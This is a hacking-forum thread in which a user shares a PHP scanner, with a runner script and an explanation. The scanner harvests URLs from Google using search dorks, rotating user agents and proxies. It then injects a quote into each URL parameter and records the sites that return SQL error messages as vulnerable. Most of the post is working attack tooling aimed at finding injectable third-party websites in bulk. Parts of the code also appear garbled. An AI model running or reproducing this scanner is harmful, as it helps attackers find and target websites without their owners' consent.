

Forum:[Hack Forums](#)

Thread: [my simple dork sqli scanner](#)

RieqyNS13 - August 5, 2013, 9:26 am

this is my simple dork sqli scanner script

PHP Code

```
<?php
//Coded by RieqyNS13
//Greeting to devilzc0de, hn-crew, and hackforums
class rieqyns13{
    public $dork;
    public $site_total;
    public $key;
    public $file_save;
    public $remove_urlsame;
    public $proxy;
    public $proxy_file;
    private $useragent = array(
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11',
'Opera/9.25 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:50',
'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+2011-10-16 20:21:10',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6'
);
    function match($start, $end, $var){
return preg_match_all("/{".preg_quote($start).'(.*)'.preg_quote($end)."}s", $var, $m) ? $m[1] : null;
    }
    function graph($dork=null, $x, $url=null){
$ch = curl_init();
if($dork != null && is_numeric($x)){
    curl_setopt($ch, CURLOPT_URL, "http://www.google.com/custom?q=".urlencode($dork).
"&btnG=Search&start=".urlencode($x));
}elseif($url != null && $x==null){
    curl_setopt($ch, CURLOPT_URL, $url);
}
```

```

}
    if($this->proxy==true){
        curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, false);
        curl_setopt($ch, CURLOPT_PROXY, $this->proxy());
    }
curl_setopt($ch, CURLOPT_USERAGENT, $this->useragent[array_rand($this->useragent)]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true );
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 15);
$exec = curl_exec($ch);
curl_close($ch);
return $exec;
}
function proxy(){
    if(@is_file($this->proxy_file)){
        $file = file($this->proxy_file);
        return str_replace(array("\n", "\r", "\r\n"), "", $file[array_rand($file)]);
    }else{ return "noting file {$this->proxy_file}, please make it"; die(); }
}
function parse($url){
    $this->key = str_replace(array("\n", "\r", "\r\n"), "", $this->key);
    $arr = parse_url($url);
    if(empty($arr['query'])){
        return $url;
    }
    parse_str($arr['query'], $ar);
    $key = array_keys($ar);
    foreach($key as $a){
        $x[] = $a."=".$ar[$a].$this->key;
    }
    $simp = implode("&", $x);
    return $arr['scheme']."://".$arr['host'].$arr['path']."?".$simp;
}
function save($url){
    $fp = fopen($this->file_save, "a");
    fwrite($fp, $url."\n");
    fclose($fp);
}
function cekurls($urls){
    $urlv = null;
    if($this->remove_urlsame==false) return $urls;
    elseif($this->remove_urlsame==true){
        for($a=0; $a<count($urls); $a++){
            $dev = parse_url($urls[$a]);
            @$scheme[] = $dev['scheme'];
            @$host[] = $dev['host'];
            if(empty($dev['path'])) $path[] = null;
            elseif(!empty($dev['path'])) $path[] = $dev['path'];
            if(empty($dev['query'])) $prm[] = null;
            elseif(!empty($dev['query'])) $prm[] = $dev['query'];
        }
    }
}

```

```

    }
    if(isset($host)){
        $unik = array_unique($host);
        foreach($unik as $key=>$url){
            if(!empty($prm[$key])){
                $prm = "?" . $prm[$key];
            }elseif(empty($prm[$key])) $prm = null;
            $urlv[] = $scheme[$key]."://". $url.$path[$key].$prm;
        }
        return $urlv;
    }elseif(!isset($host) && $this->proxy==false) echo "[Error] ";
    elseif(!isset($host) && $this->proxy==true) echo "[Proxy may not valid] ";
}
}

function scandork(){
$dork = $this->dork;
$dork = str_replace(array("\n", "\r", "\r\n"), "", $dork);
$start=0;
$site_total=0;
$page=0;
$total=0;
$i=0;
while($site_total<=$this->site_total){
    $a=0;
    $graph = $this->graph($dork, $start, null);
    $match = $this->match('<a class="l" href=""', "" onmousedown="", $graph);
    $cekurls = $this->cekurls($match);
    if(count($cekurls)==0){
        echo "no result or blocked by google captcha :p\n";
        $i++;
        continue;
    }
    $mulai = time();
    foreach($cekurls as $url){
        $urlp = $this->parse(urldecode($url));
        $graph = $this->graph(null, null, $urlp);
        if(preg_match(
"/error in your SQL syntax|mysql_fetch_array\(\)|execute query|mysql_fetch_object\(\)|mysql_num_r
ows\(\)|mysql_fetch_assoc\(\)|mysql_fetch\?\?\_row\(\)|SELECT \* FROM|supplied argument is not a
valid MySQL|Syntax error|Fatal error/i", $graph)){
            echo "vuln -> ".urldecode($urlp)."\n";
            $this->save($urlp);
            $a++;
        }else{
            echo "NOT vuln - > ".urldecode($urlp)."\n";
        }
        $site_total++;
    }
    $selang = time() - $mulai;
    $detik = round($selang);
    $menit = round($selang / 60);
    $jam = round($selang / 3600);
    $start=$start+count($cekurls);

```

```

$page++;
echo "Finished scan page {$page} in : {$jam} hour {$menit} minute {$detik} second\n\n";
}
echo "Total scanned sites {$site_total}\n";

}

}
?>if you want run this script in cmd, save this below script in an anyfile.php
PHP Code
<?php
require_once("dork_scanner.php");
$dc = new rieqyns13;
echo "Inser dork = ";
$fp = fopen("php://stdin", "rb"); //the dork
$str = fgets($fp);
echo "Insert simbol/key = "; //simbol which inserted into url parameter
$key = fgets($fp);
fclose($fp);
//OPTION//
$dc->remove_urlsame = true; //true if you want to remove the same urls in one page, false is not
$dc->proxy = false; //true if you want scan dork with proxylist which save in $dc->proxy_file
$dc->proxy_file = "proxylist.txt";
//used if $dc->proxy=true. the structure of proxylist file must be like this : 914.143.141.131:8080
$dc->file_save = "url_vuln.txt"; //the file for save the vuln urls
$dc->site_total = 300; //total sites will be scan
//
$dc->dork = $str;
$dc->key = $key;
$dc->scandork();
?>if curl in your php has been installed and activated in php.ini, and the path has been set to PHP
directory, you just type this in cmd
Code php scan.phpthe output :
image \(Click to View\)
the working process of this script it is
1. search dork with url http://www.google.com/custom?q=
2. then graph all sites per pages with function PHP Code
<?php
$this->match('<a class="" href=""', "" onmousedown="", $graph);
3. cek all the crawled urls with looping. if url there parameters like
.php?id=1 then all the parameters will inserted with the key/symbol which we inserted in $dc->key
example:
if we inserted quote(') in $dc->key
then all parameters are initially like this
Code param.php?id=45&detail.asp?cat=45&product.php?id=nullwill be like this
Code param.php?id=45'&detail.asp?cat=45'&product.php?id=null'look parse() function
4. then, last process is chek html source of the urls which processed in number 3. for check
whether url is vuln or not, it use this function:
PHP Code
<?php
if(preg_match(
"/error in your SQL syntax|mysql_fetch_array\(\)|execute query|mysql_fetch_object\(\)|mysql_num_r
ows\(\)|mysql_fetch_assoc\(\)|mysql_fetch\?\?_row\(\)|SELECT \* FROM|supplied argument is not a

```

valid MySQL[Syntax error|Fatal error/i", \$graph))

so, this script check whether url vuln or not by search the error message in html source

I hope my first tutorial is useful ?

Mr C - August 5, 2013, 10:40 am

Looks like some pretty good code to be fair, however I know for a fact that using automated systems to perform Google Searches don't last long. Might be able to get away with it seeing as it only goes through one page, but still.

Nice work all in all!

RieqyNS13 - August 5, 2013, 10:47 am

yes, you right. google always block the searching with a captcha in sometime page if keyword contains dorks. that suck ?